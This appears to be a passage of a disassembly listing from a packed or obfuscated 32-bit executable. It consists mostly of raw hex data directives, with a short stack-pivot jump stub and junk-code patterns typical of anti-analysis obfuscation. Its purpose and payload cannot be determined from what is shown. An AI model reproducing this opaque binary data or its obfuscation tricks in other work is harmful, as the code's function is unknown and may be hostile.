		dd 18E978FDh, 7A8B026Eh, 0A20D6BD0h, 26745232h,	0F8A38CFh
		dd 9C67E696h, 8E3B8AF6h, 0F59D64A4h, 0BD46D948h, 0D15126AFh
		dd 75037E06h, 0E7620E14h, 0DF228D6Eh, 0DCA852D3h, 8E9922A1h
		dd 0B556CF77h, 5927C75Ah, 48EA3722h, 0A5C4413Ch, 0E8C7B55Bh
		dd 0C25FCBA7h, 0F57D9B20h, 0AC8FBFDEh, 3F549231h, 0FBC55EDDh
		dd 4DDC617Ah, 0F8970CB2h, 63F38129h, 6FA8877h, 75B3778h
		dd 0D0F78185h, 50EAh, 946D8F00h, 1F69EEAh, 9106FA82h, 339AE690h
		dd 0EA3B49F3h, 33D9F55Dh, 0D2D2A68Ch, 0BFD0F78Bh, 1, 0EC926D5Ah
		dd 50F60980h, 0B759A524h, 63CF78C9h, 5B65CA7h, 16620A1Ah
		dd 0AE01DA5Bh, 7E7F9157h, 0EA06FA82h, 6904701Ch, 2DCA4934h
		dd 0E8966DCAh, 9939C453h, 67158EEBh, 0DE6AD434h, 18802EF5h
		dd 9D166C6Bh, 0FF8D31F2h, 9E8AE0A7h, 0AD3CDD89h, 0F711AA54h
		dd 51D93827h, 39B8D009h, 9706FA8Ch, 0C0AC29A4h,	610FB949h
		dd 67216E8h, 0A8D47E87h, 0D0EC468Fh, 6A3E145Dh,	0D0F7876Ah
		dd 7107h, 966DA200h, 0F21653E8h, 6FA8203h, 0C07EDE5Dh
		dd 928942D6h, 4CDDAF24h, 0D77E0AB6h, 16C72966h,	0B006FA55h
		dd 0B934E221h, 311F0B3Ch, 4834E026h, 4AD9A82Dh,	17EC439Ch
		dd 728C1D6Bh, 303CE022h, 0A7CAB635h, 0D0C098F2h, 0D9D0F75Eh
		dd 61h,	0F5966D78h, 542F0F95h, 0F682014Fh, 0F1E00845h
		dd 4F06FA16h, 51877ECh,	0C2751765h, 0BF6BB868h,	926DC722h
		dd 0FE124FECh, 6FA82FFh, 0FC30429Ah, 58051856h,	0E7BA7BE5h
		dd 0B98E0A7Ah, 0B420303Ch, 0A506FA91h, 0DE3A1872h, 0F9782CB6h
		dd 3BB7B9E3h, 194DF464h, 44447BF8h, 25D0F7A9h, 1, 0EB956DCCh
		dd 0AF73DE9Dh, 0FB7620E1h, 6C16EF7Ah, 84EE2700h, 35D27E84h
		dd 19A206D8h, 33B34DDCh, 0FA821CDDh, 44C3BA06h,	29A33D38h
		dd 6D19DB06h, 3BDB4DC6h, 130CE8EDh, 79849328h, 0C540EE35h
		dd 3339BAB7h, 46A34BDAh, 4701AEBh, 0E81C7B7Ch, 528F2C00h
		dd 0E81CBF3Eh, 34CE1900h, 0D7901590h, 0CC768F7Bh, 1FDE326Fh
		dd 0B900E81Ch, 41A841C2h, 316A16C0h, 4C38DC26h,	4CD5B431h
		dd 0A2FF19A2h, 83A422E8h, 75F9C953h, 0CB701EBBh, 2562224Ah
		dd 0A444DD4Dh, 0E8398D4Ch, 0D5502B00h, 30737D34h, 3C1CD6E5h
		dd 85000001h, 50ED4F6Fh, 43B2D613h, 9D06FA82h, 5FB3259Eh
		dd 770CE8A7h, 10117804h, 0DF268966h, 7124937h, 4E2B59FBh
		dd 0C36BBAD5h, 25CD54B5h, 892DF657h, 8CE651FBh,	0FB57D070h
		dd 5FA0F60Fh, 35B0CDBBh, 0A7D3DDD4h, 52BCD6E5h,	25000000h
		dd 53E8526Fh, 8203F216h, 0E05D06FAh, 0FA834988h, 1994E706h
		dd 0A8C91F9Ch, 8634BDD2h, 38B9C9B7h, 7F86FA83h,	21A05E34h
		dd 9627C955h, 0FA838372h, 0E35EDD86h, 0D267365Ah, 0FA41B4BDh
		dd 5C00601Dh, 379416A4h, 23C75833h, 739B1855h, 9Fh, 0D621BF16h
		dd 0E2816E10h, 26D7201h, 0D25156A2h, 46AA3451h,	0F4986AF5h
		dd 5AFC0188h, 5FD4532Eh, 68BAA5E2h, 9D94FC4h, 0A50CE82Bh
		dd 0E223AAD6h, 46A2DF38h, 0C141C8FEh, 8C0C6917h, 0A3CAFC2Fh
		dd 0B2CFBD5Fh, 27CF5631h, 83E52259h, 0E8C752h, 8C1491ECh
		dd 0E8C7E6h, 0CC3C1601h, 1F6C8D35h, 0A3E05DBFh,	0C4D30266h
		dd 0E6D00E8h, 0E6EC0395h, 0BB260AF2h, 3745C06Ah, 0D9A74FD6h
		dd 7A06B270h, 256A9DE2h, 6A050168h, 0DE84F09Ch,	20E1FD55h
		dd 398583EFh, 0ED0266D7h, 2700CC2Ch, 6F5CBB54h,	26AFF04Fh
		dd 55AEB847h, 0EC0365D6h, 260CE017h, 61A02957h,	9658DCA4h
		dd 3BB6A40Bh, 36B273DEh, 5C19A2DAh, 78E8674Dh, 0E07079h
		dd 7020D137h, 0BFBE00E0h, 54209F9Eh, 51B3370Ch,	74DE6B2Eh
		dd 0D8296DB4h, 7A7B8D2Eh, 0D46F76B6h, 0A20DEA69h, 8B9A8563h
		dd 0B68071E3h, 5FDE6F76h, 0CE4DF50Ch, 35D72BA2h, 4B276847h
		dd 439C46DFh, 6E6F813Eh, 0FA6F76B6h, 60DB802Ch,	397D84E3h
		dd 37323EE8h, 0CE2CCB8h, 67000000h, 83C52398h, 9A2E3D42h
		dd 6D374ACBh, 329BE997h, 0AC3D4BF3h, 4AC3B151h,	0E76612BAh
		dd 87067220h, 27A6D280h, 0C24B39DBh, 7DEC9844h,	2D70FCA2h
		dd 399F68h, 241C8900h, 81E38953h, 4C3h,	4EB8100h, 87000000h
		dd 895C241Ch, 8952243Ch, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 2414895Ch, 2258BD55h, 5F55061Ah, 60B685Dh, 24890000h
		dd 24048324h, 3685A04h,	89000014h, 428F243Ch, 24148B08h
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 22h
		dd 0D835BA4Dh, 94A25B2h, 2727B87Fh, 0C503061Ah,	50ABE0FFh
		dd 7C2664A6h, 0C62D6827h, 89297A7Ch, 0B9AD1670h, 0B4947605h
		dd 1D686B97h, 3F4E1328h, 6F0C47E9h, 0C91424D1h,	0AFF7C1Bh
		dd 22F40F7Bh, 0C993A29h, 0ADC90347h, 0A25601A6h, 2B505EDEh
		dd 50796A13h, 2D292C7Ch, 25310B2Eh, 80AC3B54h, 5AE749C5h
		dd 0B937659Dh, 92EC3336h, 0E9943222h, 9CE97AAAh, 0DC883FBBh
		dd 0E8395492h, 5C180D2Ch, 1D9C5C35h, 2BA63D42h,	0A5CE583Fh
		dd 8D8D481Eh, 61A28E3h,	1161858Bh, 0BD8B0612h, 6121BF9h
		dd 27918D89h, 0BD030612h, 612163Dh, 343985C7h, 71440612h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 85C776C3h, 6122E5Dh, 0
		dd 0FFA3CC80h, 122EA5B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 51419E34h
		dd 0F99D8B88h, 0FF061215h, 120AC995h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 232D50EAh, 0FF006A52h, 12247595h, 0EBC08B06h, 591FA90Ch
		dd 0F418E1F9h, 27222AB0h, 10EBC7h, 3 dup(0)
		dd 8B000000h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0E3F14CCh, 1F4D19E2h, 0F281939Dh
		dd 41972004h, 0E71BD83h, 75000612h, 69BD8309h, 6122Dh
		dd 53501974h, 2DB8C08Bh, 89000004h, 1234F585h, 0EA9D8D06h
		dd 0FF0614AFh, 83585BD3h, 122D69BDh, 17740006h,	2DB85350h
		dd 89000004h, 1234F585h, 0D99D8D06h, 0FF0614ACh, 0F9585BD3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 9CC35040h
		dd 9DB523B1h, 8B06120Ch, 0D68166C0h, 8D8BB267h,	6121521h
		dd 21958960h, 61061234h, 0F00F983h, 9C84h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0CFFE21h, 3D8B647Bh,	2Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 42C35040h, 0E10C3189h, 0C7D24675h
		dd 1525B529h, 0FF0B0612h, 43840Fh, 81660000h, 8B1614E6h
		dd 9E93Fh, 0D3610000h, 4CE4FA6Ah, 32E465CDh, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8999136Ch, 12030985h, 3AAF306h, 1220A595h, 41493506h
		dd 0B58B5350h, 61220F9h, 25985C6h, 6A470612h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0B207C356h, 0A1CD504Ah, 0F3BF0F43h, 1B100368h, 5820FA2h
		dd 0BE000000h, 14B16E4Dh, 29240481h, 0F3ABB78h,	681h, 799D8900h
		dd 0FF06120Ch, 122E69B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 3D0FF7CAh
		dd 30858589h, 0B5290612h, 61202C9h, 81A4858Dh, 830F0615h
		dd 6, 675B533h,	0D0FF0612h, 0FA99D89h, 85890612h, 61211A9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 43C35646h
		dd 8BA7731Fh, 122D2995h, 2800F06h, 0B6000000h, 5985C606h
		dd 53061202h, 1611BD31h, 0DB680612h, 50FA822Eh,	0F310F52h
		dd 58Ah, 0CCDFBE00h, 585A119Dh,	27243481h, 6A721A44h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 9DD1C352h, 66119DA5h, 0B5FFF18Bh, 6122E69h, 31C1958Bh
		dd 858D0612h, 61581A4h,	0E9D0FFFCh, 12h, 0CF63F17Ch, 69592F1Fh
		dd 49353549h, 0C8E326C9h, 858DA01Ah, 6153DB9h, 2CCD8589h
		dd 85890612h, 6121B6Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 81C35242h, 3414B397h,	0B26704EAh, 6A206ABCh
		dd 6D95FFFFh, 3506121Bh, 53504149h, 1B2185C7h, 10612h
		dd 85C70000h, 6121CE9h,	0
		dd 1C31B58Bh, 9D890612h, 6121C51h, 167D8529h, 1AB20612h
		dd 269858Bh, 0BA660612h, 0A3642B99h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 77C35646h
		dd 0C96C8C5Ch, 8589CE23h, 612161Dh, 285BD83h, 0F000612h
		dd 0F84h, 0AD858B00h, 0BE06121Ah, 2D269699h, 0F18BE08Bh
		dd 10C9BD83h, 0F000612h, 3C785h, 0D5B50300h, 0C6061230h
		dd 12025985h, 6A5606h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0FD3917C3h, 14E5958Bh, 59B20612h
		dd 1AF9168h, 640CBA83h,	4813FD8h, 0C3814E24h, 50006A26h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0E46095FFh, 7087B272h, 8E89E9Ch, 43000000h, 9FB1BB15h
		dd 66D50D2Eh, 5ACE6EBAh, 0FE9h,	0F566CA00h, 144EE076h
		dd 0B2C684A1h, 63F6E873h, 2E69B5FFh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0E950BDC3h
		dd 5, 13823504h, 858D5A57h, 61581A4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 79C35545h, 89DAC1A6h, 1224E595h
		dd 66D0FF06h, 2620EA81h, 50F28B90h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 814054B6h
		dd 0EDBB50EAh, 858D8D6Fh, 6A06122Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 64B8C352h
		dd 2C587858h, 8166D1EDh, 6682ECD6h, 82BFCE81h, 5ED68B51h
		dd 1BE6691h, 0BA665050h, 0F9114B6h, 46AF3BFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 26C35545h, 0E8F4B281h
		dd 4, 1000h, 48E0Fh, 0BE660000h, 0BA50E33Eh, 65C5E9EBh
		dd 424448Bh, 8BF0B2h, 4244489h,	0D958B58h, 0FF061235h
		dd 122555B5h, 0F2816606h, 0D0FFD89Fh, 0C31CB3BEh, 0F18B6648h
		dd 2555BD8Bh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 5A5BEBC3h, 0BACFD848h, 958962BFh
		dd 61225E1h, 0BA3C7F03h, 63CF689Eh, 8840Fh, 89570000h
		dd 1224F185h, 0C7815E06h, 0F8h,	0C7F2BF0Fh, 202447h, 0ECBA6000h
		dd 8342767Eh, 1A28F6BDh, 840F0006h, 0CCh, 2AE19D89h, 0C7830612h
		dd 0EE816628h, 0C7F8D884h, 696A2E07h, 0EE964h, 93D50000h
		dd 5F95EC66h, 753E2D8Dh, 9E79CF6Dh, 610447C7h, 89006174h
		dd 120F559Dh, 0F2BF0F06h, 28FE858Bh, 8B66061Ah,	0C4789D0h
		dd 158D0Fh, 0DE80000h, 66000000h, 0EA3CA96Bh, 14ABECBCh
		dd 15C3848Ch, 8B5AD48Ah, 1A290285h, 0D78B6606h,	66084789h
		dd 0C783F78Bh, 66D78B28h, 7C7F08Bh, 6E6F632Eh, 30559D89h
		dd 47C70612h, 67696604h, 1B8A0F00h, 51000000h, 13E8h, 73919300h
		dd 0A193DE71h, 2634EC9h, 766111B3h, 0BE6AEFB4h,	8B665E5Eh
		dd 0FA858BD1h, 0F061A28h, 4789F1B7h, 858BF90Ch,	61A28F6h
		dd 0F55B529h, 47890612h, 0F38B6608h, 69950B58h,	8D061219h
		dd 1200858Dh, 0DAF68106h, 9173A2C8h, 6050F78Ah,	13E95250h
		dd 22000000h, 339B9BC3h, 3B9E4E8Ah, 88DD8373h, 0F5C43DADh
		dd 310F48FCh, 585AC88Bh, 0BE9h,	52C62400h, 95F5CF99h, 0AFB16B2Eh
		dd 6A9161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0B239C2C3h, 0B78634BAh, 0D858929h, 0FF061222h
		dd 122C85B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 9AB0842Bh, 0A480A937h, 6885B63Bh
		dd 33CC90A2h, 0CE8B5660h, 61FB8B5Bh, 0A2243481h, 8B33CC80h
		dd 93D281F2h, 0FF59DED6h, 122555B5h, 85896006h,	61224D9h
		dd 3325B58Bh, 0FF610612h, 0D08B66D0h, 0B8h, 0FE900h, 3CD0000h
		dd 1F68BBA6h, 0B3BE820Eh, 0A3AB398Dh, 0FC00B26h, 1384h
		dd 0F28B6600h, 31C9B5FFh, 0D6800612h, 0C995FF20h, 0F506120Ah
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B58B44C3h, 6122769h, 0F6806053h,	6196B2FCh
		dd 71BD835Ah, 6120Eh, 0BD830975h, 6122D69h, 50197400h
		dd 0B8C08B53h, 42Dh, 32058589h,	9D8D0612h, 614B051h, 585BD3FFh
		dd 2D69BD83h, 74000612h, 0B8535017h, 42Dh, 32058589h, 9D8D0612h
		dd 614ACF2h, 585BD3FFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 98C35545h, 4A82E201h,	870FBF80h, 3, 0E88EF280h
		dd 13h,	0F94D7B18h, 14DEB83Dh, 6F40EBF1h, 0B820AA09h, 81DE222Bh
		dd 2EA333DEh, 0B5895A7Ch, 61203DDh, 0FC08BF8h, 684h, 0ED958B00h
		dd 8B06122Ah, 13E8C0h, 22050000h, 836C528h, 8B96BDADh
		dd 98D1CF35h, 45E053F6h, 5D8D234Ch, 5A061224h, 81C78166h
		dd 9CC28121h, 0E8000075h, 13h, 5B9AFC5Fh, 981C6B0Bh, 13BFB15Bh
		dd 0B9A71D62h, 66587E1Eh, 5F9EFBB9h, 1D3668h, 0E1816600h
		dd 8B5E4E37h, 122D29BDh, 81028B06h, 0B805E2F0h,	0CA8B664Ah
		dd 52CDE881h, 858965C1h, 6121BA1h, 0AB2BC081h, 8AB7588Bh
		dd 81660289h, 83AB34E9h, 9D8904EAh, 61204DDh, 0F01EE83h
		dd 2485h, 11E900h, 0F5BE0000h, 4B37DCBEh, 2D64AB9Ch, 8DA54DEFh
		dd 0E9A8750Bh, 22h, 9736FA0Ch, 48DB8A0Eh, 0FF9FE9F3h, 0EB7CFFFFh
		dd 0BDAECEADh, 0C7874F59h, 0B7D9A354h, 64D857EFh, 8D8D0478h
		dd 61A32F1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0C6C35646h, 336D9D89h, 12003595h, 6DBD8906h, 89061226h
		dd 1227918Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0E007C0F1h, 8A204CE9h, 8D0FF85Dh
		dd 5, 4FC88166h, 0CA816608h, 85C75D1Dh,	6123439h, 6E94h
		dd 23C9BD89h, 85C70612h, 6122E5Dh, 0
		dd 9D29FA8Bh, 6123555h,	2105B5FFh, 950B0612h, 612248Dh
		dd 0AC995FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 72A857C3h, 190164Eh, 8BC7E8AAh
		dd 75BD8BDEh, 6A061201h, 7595FF00h, 8B061224h, 2C79EBC0h
		dd 3A07DADBh, 0EEDBE049h, 0CA2FBADFh, 80F4A8D9h, 0F7D86039h
		dd 0ABC7240Dh, 15EEF1A1h, 36FF46B8h, 0A3BB6F42h, 615DDDB6h
		dd 1248C48Ah, 0F5469EF3h, 418FB456h, 0F3C37A50h, 0C335A7D9h
		dd 0D5E389D4h, 7E557D15h, 0D7550CC5h, 0CEBFF64Ch, 4DBB4128h
		dd 9122A4B9h, 1637410Ch, 31677D9Fh, 0B3156BA2h,	0DFBC2B92h
		dd 9F8B50B8h, 0B7F46D58h, 0E36291A0h, 7E2DCD24h, 819FCA6Dh
		dd 10E8h, 0D922DC00h, 1C54A250h, 90560913h, 10E1CC1h, 2FE981B8h
		dd 5B1E14A8h, 81F3BF0Fh, 7558C3h, 6D8D8B00h, 3306121Ch
		dd 15B529D2h, 8B061224h, 858B133Ch, 6123489h, 42F0C781h
		dd 858B24E8h, 6120B6Dh,	333AF781h, 0BF0F3FD7h, 0CF781C0h
		dd 0B1AB0ABh, 120669B5h, 133C8906h, 11E9h, 0A030AC00h
		dd 42FF32D0h, 0DB83711Eh, 0D1D316A3h, 0EA814554h, 7C4F7ACAh
		dd 20BD8D8Bh, 0C2810612h, 7C4F7AC6h, 8B58FA81h,	850FFFFFh
		dd 14h,	12F19D89h, 1AE90612h, 83000000h, 19393B0Ch, 0D476C12Ah
		dd 0FF85E9F9h, 95B3FFFFh, 6B19E8FCh, 0EF6937DAh, 0EF8D8D89h
		dd 6A061A34h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 4BA3C355h, 3416098h, 29B98BBAh
		dd 120AF99Dh, 918D8906h, 0F061227h, 785h, 1820F00h, 0FC000000h
		dd 343985C7h, 63200612h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0B9A123C3h, 5C0FFC0h
		dd 15AFDE81h, 0E38A41A8h, 2E5D85C7h, 612h, 8D890000h, 61211E9h
		dd 5EDB5FFh, 7E80612h, 0D2000000h, 43B1B73Bh, 0FE8BC03h
		dd 4A000000h, 69164998h, 97880758h, 0D5459E0h, 0DB818813h
		dd 70017885h, 95FF5F5Ah, 6120AC9h, 0C9D38166h, 0FF006A8Ah
		dd 12247595h, 0EBC08B06h, 0BE252E0Fh, 1001368Ch, 0ACD05A53h
		dd 23256574h, 1DE900EBh, 67000004h, 0BB16F3A1h,	0CA25C268h
		dd 1877903Ch, 2A856206h, 0ADD031DDh, 0B965A299h, 892FF158h
		dd 5AFC0168h, 2BD352BDh, 0B0D855CEh, 0E0B741h, 744C39Fh
		dd 0E0B7F0E1h, 76EF4E00h, 0EC926D13h, 0BA66BC13h, 660E1601h
		dd 9E4DE4F6h, 0B132C587h, 0EF342358h, 0BB383543h, 51AE52ACh
		dd 9C7D29FEh, 0BAF70DFh, 0E483007Dh, 3B96731Fh,	7805EE9h
		dd 0F5A35602h, 0A7E49976h, 0FA2A9041h, 0D64F2E06h, 0DA2866BBh
		dd 7A7B8D2Eh, 0D406FA2Ah, 0A20DEA69h, 799FA663h, 49579C57h
		dd 0DE5D9CF4h, 80FB06FAh, 0F17CE405h, 770CE367h, 6C84C16Dh
		dd 0E3266Dh, 94F370CBh,	3071F88Dh, 0C1861411h, 1A053642h
		dd 84E3600Ch, 0F1AAD67Ah, 70F5A166h, 59FB0792h,	0E16583B8h
		dd 0EB939258h, 6EA9C171h, 1361031Fh, 2EB0DD56h,	1FE671CAh
		dd 43D4C36Ah, 129138E4h, 89E72491h, 8F4939A7h, 9642C0E9h
		dd 0E2369A1Bh, 0C40AF1DFh, 7E7B0B79h, 0E0AD145h, 2F99F159h
		dd 40DCDC4Ch, 0FBh, 0E8966DE1h,	0C9063B9Ch, 0FA8236A7h
		dd 28AD9006h, 8260658Bh, 77C606FAh, 766789C6h, 0D006FA82h
		dd 584E86Dh, 5AB552FCh,	265523CBh, 825687E9h, 8DF006FAh
		dd 1637B08h, 9DF454BCh,	96F20CE8h, 0E17804C6h, 73017CE9h
		dd 16620A1Ah, 0B8C46EB7h, 0B672D869h, 0BDB8C470h, 0E248813Eh
		dd 0E709DF26h, 0E836F6h, 916EED50h, 0FD3EA23Ch,	36A92840h
		dd 340700E8h, 92EE02BFh, 0C40AFA15h, 85820B79h,	3745EB35h
		dd 0CF22BF3Ah, 6DFE8A38h, 57FF0654h, 6CD14C29h,	2D4323FDh
		dd 0ADE57ACh, 0C8B4330Ah, 4E8B28ADh, 1B9842C3h,	0DE56B4B5h
		dd 2ECBB20Ah, 229BFDC1h, 0CCA32ACEh, 43310C00h,	44B5DB18h
		dd 0E214CC70h, 0B84F1A9Bh, 0C150ED0Ah, 6AC773Dh, 0F480FF7Ah
		dd 966DFC79h, 0B20F9CE8h, 0B09DF348h, 8614CC71h, 5EEA06B7h
		dd 88D8E0A1h, 0E00F5E6Ah, 0C645F5A6h, 0C65DAC4Dh, 6F98FF18h
		dd 3850ED4Fh, 0CE8A958h, 0D0394736h, 0F648A951h, 0EE5869DEh
		dd 0A812C791h, 7F8600E8h, 4ED73AD7h, 66A3D8A4h,	0E8A8D302h
		dd 7F0E6D00h, 0F97400A2h, 6A14ED7Ch, 0DB35461Eh, 9A9FF1E5h
		dd 0E6177932h, 4000E8FFh, 4C057EFDh, 43EB3AE6h,	0F6E1E3A6h
		dd 358ED6E5h, 0F1000000h, 0F39D5CB4h, 0AC3B00E8h, 0A3DEAA56h
		dd 6FC8AF24h, 1350ED4Fh, 8243B2D6h, 9E9D06FAh, 9D13B325h
		dd 0F04B0CE8h, 52FC0584h, 0FEA67EE9h, 0FBA6485h, 5F000000h
		dd 0A753D0BFh, 1DBF432Eh, 7F27FE6Fh, 916D0762h,	948912EFh
		dd 51D27C85h, 83B18CE4h, 94E706FAh, 1276B3E8h, 6FA82E3h
		dd 0EA85FE7Dh, 8405731Bh, 24A5D37Fh, 0A145DEDEh, 6D1B96D3h
		dd 821BDA2Eh, 0C6B506FAh, 6C6AC009h, 0FA82D504h, 8D087306h
		dd 212F1B4Ch, 0FA820ECFh, 0BEC8A806h, 0CA644096h, 5ED38403h
		dd 56EB3621h, 20E9B159h, 0C53EBD7Ah, 0FA065E53h, 35B8D806h
		dd 0FF4BFDE6h, 4F2E6BE8h, 5857B1EEh, 0EB45E8C4h, 0ECED73F0h
		dd 4A06FA70h, 2F5D071Fh, 0D73AD752h, 6CAB94Eh, 40B3D6Ah
		dd 5AD954FCh, 301E74BDh, 4BDBE121h, 65622A1h, 0BA4552ADh
		dd 6BE86713h, 2BA3h, 946D2600h,	0BAE40AF7h, 209FB500h
		dd 7AC92754h, 6F7196Fh,	0A006FA38h, 324743DDh, 0C03157E4h
		dd 1E06FA75h, 3ACBA61Fh, 74ED7790h, 9BE9976Dh, 3D4BF332h
		dd 0C3B151ACh, 6612BA4Ah, 67220E7h, 0A6D28087h,	4B39DB27h
		dd 0EC9844C2h, 70FCA27Dh, 4E17682Dh, 0C890000h,	81E18924h
		dd 4C1h, 4E98300h, 5C240C87h, 81E68956h, 4C6h, 4EE8300h
		dd 5C243487h, 68243489h, 27D0h,	68243C89h, 61A350Ah, 8324348Bh
		dd 8B5404C4h, 0C481243Ch, 4, 396C68h, 242C8900h, 6F89F589h
		dd 34FF5D08h, 0C4815F24h, 4, 5E2434FFh,	0E904C483h, 0FFF84754h
		dd 0A95C0202h, 7321BF0Fh, 1A38B4B8h, 0FFC50306h, 68AEE9E0h
		dd 0FCD28660h, 8E6E651Eh, 0D5A7EF5Dh, 0A4F3551Ah, 0AC30280Bh
		dd 32FF4E0Bh, 0D6AFCC61h, 5E544964h, 9F06722Ch,	0A26A251Fh
		dd 0C4820A1Ch, 5986910Ch, 0C568246Dh, 0EA6E4B75h, 45B18B60h
		dd 8E32C841h, 26C35216h, 0ECB45B1Bh, 0DFA9C332h, 0A40E269h
		dd 8823BC67h, 0F149A409h, 97A20709h, 6BFA1475h,	3408BB45h
		dd 0CE8381Ah, 0B3000000h, 8A16F884h, 1D4676F3h,	0B7A8C223h
		dd 0BF0F5EDDh, 0DDCA80FAh, 559BBA66h, 19820Fh, 14E90000h
		dd 0D1000000h, 0A88B6B78h, 0A428BB66h, 0A0AE7B23h, 78F6BFAEh
		dd 0B2E040D6h, 0C1BF0F56h, 5DDC8050h, 5E95Fh, 0F4810000h
		dd 661AD20Bh, 0D08BD98Bh, 21BF6660h, 8B61FCC7h,	800F60D7h
		dd 2, 0BF0FD08Bh, 8B6661CEh, 0C78B66F8h, 5830Fh, 81660000h
		dd 52A6BFF1h, 0FE956h, 2F3B0000h, 6CBB1A85h, 80141FCEh
		dd 0A80D5319h, 665B5A68h, 0E82899B8h, 14h, 0E8BD775Fh
		dd 20C72390h, 7FAE60FFh, 76C568D1h, 0BBE0A30h, 48E0Fh
		dd 0BF660000h, 665E0DBBh, 0EE9DA8Bh, 6C000000h,	295C8234h
		dd 0A9DE07FEh, 21E7549h, 0C78A5060h, 0F7BF0F5Fh, 0CEAEEF81h
		dd 0C3B2530Dh, 53D9BF0Fh, 0E0816651h, 5A5E95BBh, 0F18BFA8Bh
		dd 0BFD6BF0Fh, 4FC4F848h, 0DD8AC38Bh, 75B7C281h, 12E96D6Ah
		dd 9C000000h
		dd 6BC764F5h, 49701A38h, 416FC8BEh, 0EBA011B0h,	0CB8B66A1h
		dd 6C68160h, 8B68D206h,	0AE861D3h, 0CE000000h, 0AC21CED6h
		dd 0FC628077h, 0CDED808Fh, 66C38B5Fh, 871CEA81h, 11E9h
		dd 0D0956F00h, 0EC316951h, 0FE659FCEh, 0DE0CB82Bh, 7E91840h
		dd 9000000h, 36856307h,	59B297C8h, 60F08B66h, 870FF78Bh
		dd 1, 0B70F61FCh, 0FCC181F9h, 0BE1A4304h, 39D5223Bh, 13E9h
		dd 0C3D68D00h, 0CB777D2Fh, 7DB32EADh, 32AC66D3h, 26CBBA43h
		dd 0DC80CBB3h, 80F78AFFh, 0BE662AEBh, 8E928BBh,	18000000h
		dd 5F6FE686h, 0E86EF0E7h, 9, 0F6AF7FCCh, 0FE8083E8h, 0F6BF0F18h
		dd 6E85Bh, 0C6980000h, 86FC0B0Eh, 5EDE8A57h, 5870F58h
		dd 0BA000000h, 42F52EC6h, 14E9h, 86519700h, 0D089E31Dh
		dd 75F652A5h, 96EDDBB5h, 0CDE301FBh, 13850F82h,	0E9000000h
		dd 0Eh,	0CE9B2838h, 107EA68Ch, 5538BCB6h, 9E94BCBh, 0CF000000h
		dd 7EA1CE56h, 70669F79h, 1113BB66h, 0FE9h, 792B6500h, 0CAE3C842h
		dd 0EFD8E835h, 5580008Eh, 2EE3F7BBh, 0EE850h, 0E0790000h
		dd 0FAAB2A2Bh, 0EDCE77Bh, 0ABDCF2C1h, 0DA67D881h, 0E95F6735h
		dd 0Fh,	0C087C210h, 0B0CDF93Dh,	6CDCCDEDh, 66817EF9h, 0E1FCF381h
		dd 0BE9h, 752FEB00h, 63DAEF24h,	422DC92Eh, 0C480F38Bh
		dd 8E96Ah, 63B00000h, 0A8AC643Ch, 0BA6657F1h, 0FEB33FCDh
		dd 14E9h, 6746F000h, 0D227C7B0h, 733E83BEh, 9B134694h
		dd 0B9772B0Bh, 0D7BF0FCEh, 28C0Fh, 32B40000h, 5E9D18Bh
		dd 0BD000000h, 0C3F8C7ABh, 7E8h, 99884900h, 55C34485h
		dd 5ACEB70Fh, 7E8h, 8595C00h, 1ED1BD76h, 5FD78B66h, 13E9h
		dd 0EDEC5E00h, 0DDDB0591h, 0CCC44E90h, 0E8F6AF7Fh, 18FE8083h
